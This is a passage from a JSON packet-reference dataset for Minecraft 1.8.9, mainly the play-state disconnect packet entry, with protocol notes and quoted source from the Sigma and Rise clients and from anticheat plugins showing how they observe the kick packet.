Version.getVersion().isNewerOrEquals(Version.V1_9) && getPlayer().isGliding();\n\t}\n\n\tpublic boolean isUsingTrident() {\n\t\treturn Version.getVersion().isNewerOrEquals(Version.V1_13) && (getPlayer().isRiptiding() || HandUtils.handUseItem(getPlayer(), \"TRIDENT\"));\n\t}\n\n\tpublic boolean isTargetByIronGolem() {\n\t\tfor (Entity et : getPlayer().getWorld().getEntities())\n\t\t\tif (et instanceof IronGolem)\n\t\t\t\tif (((IronGolem) et).getTarget() != null && ((IronGolem) et).getTarget().equals(getPlayer()))\n\t\t\t\t\treturn true;\n\t\treturn false;\n\t}\n\n\tpublic boolean hasPotionEffect(String effectName) {\n\t\ttry {\n\t\t\tPotionEffectType potionEffect = PotionEffectType.getByName(effectName);\n\t\t\tif (potionEffect != null) // If optionEffect is null, it doesn't exist in this version\n\t\t\t\treturn getPlayer().hasPotionEffect(potionEffect);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic boolean isUsingRiptide() {\n\t\treturn Version.getVersion().isNewerOrEquals(Version.V1_13) && getPlayer().isRiptiding();\n\t}\n\n\tpublic PotionEffect getPotionEffect(PotionEffectType type) {\n\t\treturn getPlayer().getActivePotionEffects().stream().filter((pe) -> pe.getType().equals(type)).findAny().orElse(null);\n\t}\n\n\tpublic static SpigotNegativityPlayer getNegativityPlayer(Player p) {\n\t\tsynchronized (players) {\n\t\t\treturn players.computeIfAbsent(p.getUniqueId(), id -> new SpigotNegativityPlayer(p));\n\t\t}\n\t}\n\n\tpublic static SpigotNegativityPlayer getNegativityPlayer(OfflinePlayer p) {\n\t\tsynchronized (players) {\n\t\t\treturn players.computeIfAbsent(p.getUniqueId(), id -> new SpigotNegativityPlayer(p));\n\t\t}\n\t}\n\n\tpublic static Map<UUID, SpigotNegativityPlayer> getAllPlayers() {\n\t\treturn players;\n\t}\n\n\tpublic static void removeFromCache(UUID playerId) {\n\t\tSpigotNegativityPlayer cached = players.remove(playerId);\n\t\tif (cached != null) {\n\t\t\tcached.destroy();\n\t\t}\n\t}\n}\n// NOTE (AI): The probe is the outbound S3F side (lines 122-134). SpigotNegativity registers the FML and brand channels (SpigotNegativity.java lines 164-171), and ChannelEvents.java is the C17 reply reader.",
       "code_source": "Elikill58-Negativity, src/com/elikill58/negativity/spigot/SpigotNegativityPlayer.java",
       "variations": "Negativity's PacketType declares CUSTOM_PAYLOAD_IN and CUSTOM_PAYLOAD_OUT for both directions. No other anticheat probes FML; the modern anticheats read the brand channel instead."
      }
     ]
    }
   },
   "wiki_notes": [
    "Channel string capped at 20 chars plus raw payload capped at 1048576 bytes (1MB); larger payloads throw IOException.",
    "Vanilla channels: MC|Brand sent once at join, MC|TrList villager trades, MC|BOpen written book. Unknown channels are ignored.",
    "MCP 1.8.9 S3FPacketCustomPayload implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleCustomPayload; wire serde is readPacketData/writePacketData via readBytes, readStringFromBuffer, readableBytes.",
    "1.8.9 callers: EntityPlayerMP.displayVillagerTradeGui sends new S3FPacketCustomPayload (line 819) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3FPacketCustomPayload/",
   "mcp_path": "net/minecraft/network/play/server/S3FPacketCustomPayload.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S40PacketDisconnect",
   "hex": "0x40",
   "dec": 64,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Disconnect (Play)",
   "desc": "Kicks the player from the server during gameplay with a JSON chat component reason message.",
   "tags": [
    "player",
    "disconnect",
    "kick"
   ],
   "fields": [
    {
     "name": "reason",
     "type": "IChatComponent (JSON)",
     "desc": "Kick/disconnection reason displayed to the player"
    }
   ],
   "encoding": [
    [
     "Reason",
     "Chat Component (JSON)",
     "JSON-serialized IChatComponent"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleDisconnect()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is the PLAY-state disconnect (vs S00PacketDisconnect for LOGIN). When received, the client immediately closes the network connection and displays the disconnect screen with the reason.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The play-state kick. One IChatComponent reason, serialized as a chat component. Sent by NetHandlerPlayServer and NetworkSystem when the server closes a PLAY connection with a reason; the client's handleDisconnect closes the channel and the onDisconnect path unloads the world and shows GuiDisconnected with the reason. It is the play-state counterpart of the login-state S00PacketDisconnect, and it is the last packet on the wire before the server tears the connection down."
     },
     {
      "h": "Vanilla handling",
      "p": "handleDisconnect calls netManager.closeChannel(reason), which triggers the disconnect cascade: world unload, then GuiDisconnected with the reason. The kick is one-way; there is no acknowledgement. Modules see the packet in PacketReceiveEvent before the vanilla handler runs, which is the only window for reacting to it."
     },
     {
      "h": "Why clients touch it",
      "p": "Sigma 4.11 Ranking inspects the reason text: if it contains 'ban' and the player has been alive more than 15 seconds, it reports a ban stat into its kill and death ranking telemetry. Rise 5.99 StaffAlert imports S40PacketDisconnect but never branches on it; the module's real work polls the Hypixel punishment API over HTTPS. The classic AutoReconnect and AntiKick modules of the wider ecosystem (Tenacity 5.1, Gugustus) sit outside this corpus, so none of the 8 reference clients cancels the kick. Rise 6.x registers the class in the script API."
     },
     {
      "h": "Exploit surface",
      "p": "The kick cannot be meaningfully cancelled: the server has already dropped the connection after sending the packet, so cancelling it only skips the disconnect screen and leaves a dead connection. The real value is reading the reason: ban detection for telemetry (Ranking) and staff-ban awareness. Reason parsing is the only client-side logic, and it is invisible to the server. Anti-cheats use S40 as the enforcement channel, not as a measurable signal."
     }
    ],
    "overview": "The play-state kick. Sigma's Ranking reads the reason text for ban telemetry; Rise 5.99's StaffAlert imports the class but never uses it. None of the 8 clients cancels the kick, because the connection is already dead by the time the packet arrives.",
    "server_handling": "NetHandlerPlayServer and NetworkSystem both send S40 with a GenericFutureListener that closes the channel after the packet flushes, so the kick is fire-and-forget. The reason is built from translated chat components. The server removes the player from its world state regardless of whether the client ever processes the packet.",
    "protocol_notes": "Single field: a chat component serialized via writeChatComponent, which embeds the full JSON chat tree including formatting and translations. The reason string is attacker-controlled, so clients parsing it must handle arbitrary text. Registered clientbound in PLAY state; the login-state equivalent is S00PacketDisconnect at id 0x00.",
    "anticheat_landscape": "Anti-cheats use S40 as the enforcement channel: a flagged player receives one and is gone, so there is nothing to bypass inside the packet. Client-side modules can only observe it. Ranking's use is the only corpus example of reacting to the reason text, and it is telemetry, not evasion.",
    "modules": [
     {
      "name": "Ranking",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Track kills and deaths and report ban kicks to the client's ranking telemetry.",
      "how_it_works": "onEvent handles EventPacket; for S40PacketDisconnect it checks func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") and ticksExisted greater than 15*20, then calls sendStat(\"ban\", \"\"). The module also correlates S0B animations, S02 chat, S06 health, and S13 destroy-entity packets to attribute kills and deaths.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.users.TTSystem;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class Ranking extends Module {\n    private HashMap<Integer, HitEntity> hitEntities = new HashMap<>();\n    private HashMap<Integer, HitEntity> prosecutorEntities = new HashMap<>();\n    private HashMap<Integer, Long> lastAnimationTimestamp = new HashMap<>();\n    private info.sigmaclient.util.Timer delay = new Timer();\n\n    public Ranking(ModuleData data) {\n        super(data);\n        setHidden(true);\n        if (!isEnabled()) {\n            toggle();\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventAttack.class, EventPacket.class, EventUpdate.class})\n    public void onEvent(Event e) {\n        if (e instanceof EventAttack) {\n            EventAttack ea = (EventAttack) e;\n            if (ea.getEntity() instanceof EntityPlayer) {\n                EntityPlayer ep = (EntityPlayer) ea.getEntity();\n                if (!ep.getName().isEmpty()) {\n                    if (!hitEntities.containsKey(ep.getEntityId())) {\n                        hitEntities.put(ep.getEntityId(), new HitEntity(ep));\n                    } else {\n                        hitEntities.get(ep.getEntityId()).refresh();\n                    }\n                }\n            }\n        } else if (e instanceof EventPacket) {\n            EventPacket ep = (EventPacket) e;\n            Packet packet = ep.getPacket();\n            if (packet instanceof S0BPacketAnimation) {\n                S0BPacketAnimation packetAnimation = (S0BPacketAnimation) packet;\n                lastAnimationTimestamp.put(packetAnimation.func_148978_c(), System.currentTimeMillis());\n            }\n            if (packet instanceof S06PacketUpdateHealth) {\n                S06PacketUpdateHealth packetUpdateHealth = (S06PacketUpdateHealth) packet;\n                if (packetUpdateHealth.getHealth() <= Minecraft.getMinecraft().thePlayer.getHealth()) {\n                \ttry{\n                \t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n                            if (o instanceof EntityPlayer) {\n                                EntityPlayer entityPlayer = (EntityPlayer) o;\n                                if (!(entityPlayer instanceof EntityPlayerSP) && lastAnimationTimestamp.containsKey(entityPlayer.getEntityId())) {\n                                    if (lastAnimationTimestamp.get(entityPlayer.getEntityId()) > System.currentTimeMillis() - 70 && entityPlayer.getPositionVector().squareDistanceTo(Minecraft.getMinecraft().thePlayer.getPositionVector()) < 9 * 9) {\n                                        if (!prosecutorEntities.containsKey(entityPlayer.getEntityId())) {\n                                            prosecutorEntities.put(entityPlayer.getEntityId(), new HitEntity(entityPlayer, true));\n                                        } else {\n                                            prosecutorEntities.get(entityPlayer.getEntityId()).refresh();\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                \t}catch(ConcurrentModificationException ee){};\n                    \n                }\n                if (packetUpdateHealth.getHealth() <= 0) {\n                    onDeath();\n                }\n            }\n            if (packet instanceof S02PacketChat) {\n                S02PacketChat packetChat = (S02PacketChat) packet;\n                String message = packetChat.func_148915_c().getUnformattedText();\n\n                Iterator it = hitEntities.entrySet().iterator();\n                while (it.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it.remove();\n                        }\n                    }\n                }\n\n                Iterator it2 = prosecutorEntities.entrySet().iterator();\n                while (it2.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName()) && message.contains(Minecraft.getMinecraft().thePlayer.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it2.remove();\n                        }\n                    }\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport packetTeleport = (S18PacketEntityTeleport) packet;\n                int entityId = packetTeleport.func_149451_c();\n\n                onEntityRemoved(entityId);\n            } else if (packet instanceof S08PacketPlayerPosLook) {\n                onDeath();\n            } else if (packet instanceof S13PacketDestroyEntities) {\n                S13PacketDestroyEntities packetDestroyEntities = (S13PacketDestroyEntities) packet;\n                for (int entityId : packetDestroyEntities.func_149098_c()) {\n                    onEntityRemoved(entityId);\n                }\n            } else if (packet instanceof S40PacketDisconnect) {\n                S40PacketDisconnect packetDisconnect = (S40PacketDisconnect) packet;\n                if (packetDisconnect.func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") && Minecraft.getMinecraft().thePlayer != null && Minecraft.getMinecraft().thePlayer.ticksExisted > 15 * 20) {\n                    sendStat(\"ban\", \"\");\n                }\n            }\n        } else if (e instanceof EventUpdate) {\n            if (delay.delay(1000 * 60 * 10)) {\n                delay.reset();\n                sendStat(\"tick\", \"\");\n            }\n        }\n    }\n\n    private void onDeath() {\n        Iterator it2 = prosecutorEntities.entrySet().iterator();\n        while (it2.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000) {\n                if (hitEntity.onRemoved()) {\n                    it2.remove();\n                }\n            }\n        }\n    }\n\n    private void onEntityRemoved(int entityId) {\n        Iterator it = hitEntities.entrySet().iterator();\n        while (it.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && entityId == hitEntity.getEntityId()) {\n                if (hitEntity.onRemoved()) {\n                    it.remove();\n                }\n            }\n        }\n    }\n\n    public void sendStat(String type, String data) {\n\n    }\n\n    private class HitEntity {\n        private long time = System.currentTimeMillis();\n        private UUID uuid;\n        private String name;\n        private int entityId;\n        private boolean removed = false;\n        private boolean chatMessage = false;\n        private boolean prosecutor = false;\n\n        public HitEntity(EntityPlayer ep) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n        }\n\n        public HitEntity(EntityPlayer ep, boolean prosecutor) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n            this.prosecutor = prosecutor;\n        }\n\n        public boolean onRemoved() {\n            removed = true;\n            if (chatMessage) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        public boolean onChatMessage() {\n            chatMessage = true;\n            if (removed) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        private void killed() {\n            //ChatUtil.printChat(\"Kill (\" + name + \") \" + uuid.toString());\n            sendStat(\"kill\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n\n        public void refresh() {\n            time = System.currentTimeMillis();\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public long getTime() {\n            return time;\n        }\n\n        public int getEntityId() {\n            return entityId;\n        }\n\n        public void prosecuted() {\n            //ChatUtil.printChat(\"Prosecuted (\" + name + \") \" + uuid.toString());\n            sendStat(\"death\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n    }\n}\n// NOTE (AI): The S40PacketDisconnect branch on lines 126-131 fires ban telemetry when the kick reason contains 'ban' and the player has been alive for more than 15 seconds. The rest of the module attributes kills and deaths from S0B, S02, S06, and S13 packets.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java",
      "vanilla_hook": "EventPacket (via @RegisterEvent on EventAttack, EventPacket, EventUpdate).",
      "anti_cheat_notes": "Telemetry only. The check reads the reason after the kick is already in flight; nothing is mutated or blocked.",
      "variations": "None in the corpus. The module is auto-enabled and hidden."
     },
     {
      "name": "StaffAlert",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Alert when staff ban players on Hypixel by polling the punishment API. The S40 import is unused.",
      "how_it_works": "Imports S40PacketDisconnect at the top of the file, but the shipped handlers only process S02PacketChat (API key capture) and a periodic HTTPS poll of api.hypixel.net/punishmentstats that shows a notification when staff_total grows. The import is leftover from a planned disconnect-aware feature.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/StaffAlert.java =====\npackage dev.rise.module.impl.other;\n\nimport com.google.gson.JsonParser;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.other.UpdateEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.server.S02PacketLoginSuccess;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S40PacketDisconnect;\nimport net.minecraft.network.status.server.S01PacketPong;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\n@ModuleInfo(name = \"StaffAlert\", description = \"Alerts you when staff ban someone else on Hypixel\", category = Category.OTHER)\npublic class StaffAlert extends Module {\n\n    private final NumberSetting delay = new NumberSetting(\"Delay (Seconds)\", this, 60, 1, 120, 1);\n\n    private final TimeUtil timer = new TimeUtil();\n    private int lastTimeAmountOfBans = -1;\n    public static String apikey;\n    private boolean hasKey;\n\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        this.hidden = !(PlayerUtil.isOnServer(\"Hypixel\") || mc.isSingleplayer());\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S02PacketChat) {\n            final S02PacketChat p = (S02PacketChat) event.getPacket();\n            final String message = p.getChatComponent().getUnformattedText();\n            if (message.startsWith(\"Your new API key is \")) {\n                apikey = message.replace(\"Your new API key is \", \"\");\n                Rise.addChatMessage(\"API Key Set!\");\n            }\n        }\n    }\n    @Override\n    public void onUpdate(final UpdateEvent event) {\n        if(apikey == null && PlayerUtil.isOnServer(\"Hypixel\") && mc.thePlayer.ticksExisted >= 40 && !mc.isSingleplayer() && mc.thePlayer.ticksExisted % 10 == 0){\n            timer.reset();\n            PacketUtil.sendPacket(new C01PacketChatMessage(\"/api new\"));\n        }\n        if (!PlayerUtil.isOnServer(\"Hypixel\") || mc.isSingleplayer()) {\n            this.registerNotification(this.getModuleInfo().name() + \" only works on Hypixel.\");\n            this.toggleModule();\n            return;\n        }\n\n        if (mc.isSingleplayer()) {\n            lastTimeAmountOfBans = -1;\n            timer.reset();\n            return;\n        }\n\n        if (timer.hasReached((long) delay.getValue() * 1000) || lastTimeAmountOfBans == -1) {\n            new Thread(() -> {\n                try {\n                    final HttpURLConnection connection = (HttpURLConnection) new URL(\"https://api.hypixel.net/punishmentstats?key=\" + apikey).openConnection();\n                    connection.addRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0\");\n                    connection.setRequestMethod(\"GET\");\n                    connection.setDoInput(true);\n                    connection.setDoOutput(true);\n                    connection.connect();\n                    final BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                    for (String read; (read = reader.readLine()) != null; ) {\n                        if (read.contains(\"true\")) { //alan loves this code\n                            final int staffBans = JsonParser.parseString(read).getAsJsonObject().get(\"staff_total\").getAsInt();\n                            final int diff = staffBans - lastTimeAmountOfBans;\n                            final int delay = (int) Math.round(this.delay.getValue());\n                            if (lastTimeAmountOfBans != -1 && diff > 0)\n                                Rise.INSTANCE.getNotificationManager().registerNotification(diff + (diff == 1 ? \" player has\" : \" players have\") + \" been staff banned in the past \" + (delay == 1 ? \"second\" : delay + \"s\") + \".\", NotificationType.WARNING);\n                            lastTimeAmountOfBans = staffBans;\n                        }\n                    }\n                } catch (final Exception e) {\n                    if(apikey != null) {\n                        Rise.INSTANCE.getNotificationManager().registerNotification(this.getModuleInfo().name() + \" failed to get staff ban information.\", NotificationType.WARNING);\n                    }\n                    e.printStackTrace();\n                }\n            }).start();\n            timer.reset();\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        lastTimeAmountOfBans = -1;\n        timer.reset();\n    }\n}\n// NOTE (AI): The S40PacketDisconnect import on line 21 is never referenced in the shipped body. The module's actual logic is the S02PacketChat API-key capture and the punishmentstats HTTP poll in onUpdate.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/StaffAlert.java",
      "vanilla_hook": "PacketReceiveEvent, UpdateEvent.",
      "anti_cheat_notes": "None. The module makes outbound HTTPS calls, not packet manipulation; the S40 import never executes.",
      "variations": "None in the corpus."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API.",
      "how_it_works": "S40PacketDisconnect is listed in the clientbound Class array of NetworkAPI.java (line 107).",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S40PacketDisconnect at line 107. Identical file ships in Rise 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly.",
      "anti_cheat_notes": "None. Registry only.",
      "variations": "6.2.4 ships the byte-identical file with the Client-release2 path prefix."
     }
    ],
    "general_hooks": "Sigma: EventPacket. Rise 5.99: PacketReceiveEvent and UpdateEvent on StaffAlert. Rise 6.x: script API table.",
    "client_variations": "Sigma reads the reason text inside its event bus; Rise 5.99 imports the class without using it; Rise 6.x registers it for scripts. No client in the corpus cancels S40.",
    "related": [
     "S00PacketDisconnect",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "No anticheat parses the play-state disconnect packet. The only real packet references are plumbing: Artemis registers PacketPlayServerKickDisconnect (PacketRepository SERVER_PLAY+39, the GPacketPlayServerKickDisconnect wrapper, ProtocolGeneratorDirect and HardcodeMap) and Negativity declares the KICK_DISCONNECT PacketType constant. The rest of the corpus is the anticheats' own kick enforcement matched on the Kick keyword: NCP KickCommand and DenyLoginCommand, intave FaultKicks, Arc PunishmentManager and PlayerPendingKickEvent, Negativity KickCommand and PlayerCheatKickEvent, Peyang Kick, KickUtil and BanAnalyzer, CheaterDeleter TeleportVerifierCheck, Rammelkast and AntiCheatPlus PlayerListener, NESS MiscEvents, proton Kick, ThotPatrol, Daedalus, Kauri JoinListener, AutoEye AutoEyePlayerList, network-dev AlarmUtil and MenuUtil, and Bubble bubble.sk. All of them kick through Bukkit's player.kickPlayer; the server crafts S40 itself when it flushes the connection, so the packet is the enforcement channel, never a measured signal.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Play-state kick: a single JSON chat component reason. Client closes the channel, unloads the world and shows the disconnect screen.",
    "Fire-and-forget last packet before teardown; no acknowledgement. Login-state kicks use S00 instead.",
    "MCP 1.8.9 S40PacketDisconnect implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleDisconnect; wire serde is readPacketData/writePacketData via readChatComponent.",
    "1.8.9 callers: NetHandlerPlayServer.kickPlayerFromServer sends new S40PacketDisconnect (line 184) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S40PacketDisconnect/",
   "mcp_path": "net/minecraft/network/play/server/S40PacketDisconnect.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S41PacketServerDifficulty",
   "hex": "0x41",
   "dec": 65,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Server Difficulty",
   "desc": "Informs client of the server's difficulty setting.",
   "tags": [
    "world",
    "difficulty"
   ],
   "fields": [
    {
     "name": "difficulty",
     "type": "unsigned byte",
